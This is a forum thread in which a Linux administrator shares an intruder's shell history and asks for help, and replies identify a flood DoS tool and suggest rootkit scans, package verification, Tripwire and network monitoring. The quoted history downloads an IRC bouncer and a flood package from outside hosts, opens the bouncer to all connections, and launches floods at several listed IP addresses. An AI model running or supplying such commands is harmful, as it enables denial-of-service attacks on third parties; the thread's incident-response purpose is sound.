i found this in the history file of a user on my linux system:
w
ps x
passwd
cd /va/rtmp
cd /var/tmp
wget www.psychoid.lam3rz.de/psyBNC2.3.2-4.tar.gz
tar xzvf psyBNC2.3.2-4.tar.gz
cd psybnc
cat psybnc.conf
rm -rf psybnc.conf
echo "PSYBNC.SYSTEM.ME=Alpha" >> psybnc.conf
echo "PSYBNC.SYSTEM.HOST1=*" >> psybnc.conf
echo "PSYBNC.SYSTEM.PORT1=8080" >> psybnc.conf
echo "PSYBNC.HOSTALLOWS.ENTRY0=*;*" >> psybnc.conf
cat psybnc.conf
make
./psybnc
wget www.oake.go.ro/psyBETA.tgz
tar xzvf psyBETA.tgz
cd nsmail
./inet
w
ping yahoo.com
cd /var/tmp
wget www.relevant-undernet.org/flood/flood.tgz
tar zxvf flood.tgz
cd flood
./vadimI 80.97.145.10 80 80.97.145.10
./vadimI 66.202.56.19 80 66.202.56.19
./vadimI 83.103.208.65 80 83.103.208.65
./vadimI 200.63.165.1 80 200.63.165.1
w
cd /var/tmp
cd flood
history
./vadimI 200.63.165.1 80 200.63.165.1
./vadimI 151.198.235.3 80 151.198.235.3
w
cd /var/tmp
cd psybnc
./psybnc
cd /var/tmp
cd nsmail
./inet
w
cd /va/rtmp
cd /var/tmp
cd nsmial
cd flood
w
cd /va/rtmp
cd /var/tmp
cd psybnc
./inet
./psybnc
w
ls
w
uname -a
w
history


i understand that "psybnc" is some sort of bouncer that allows anonymous irc chats?
but what the hell is this 'flood' package that he downloaded from www.relevant-undernet.org? is this a DoS hacking tool?

what precautions should i take (besides from kicking the guy off my system)?

it's a flooding tool that usually can do udp, icmp, and various other types of DoS attacks. The last command ('history') would suggest they were aware that their activity was logged and possibly unset the history at that point. You should absolutely take measures to verify that the system integrity hasn't been compromised. I would highly recommend running chkrootkit and/or rkhunter on the system and if you're using an rpm-based system, verify package integrity with rpm -Va. Definitely look through logs for any abnormal log msgs like panics or errors. Given the history output, it looks like they simply abused the user privileges, but you should be certain that a full compromise didn't occur (especially if your system was fully updated). Obviously booting that user is a given, but you should be more careful with who you give shell access to (or at least consider using chroot jails).

Any idea how he managed to penetrate? Not much of a cracker if he can't cover his tracks effectively. Can't type /var/tmp properly either

Harden the box using Bastille.

Set up Tripwire to monitor files for changes.

Is it on the network by itself or are there more boxes? If it's on a network, set up snort on a spare box to do some passive sniffing. You could also put a honeytrap in the network that would distract potential attackers from the real boxes.

What is guarding your boundaries?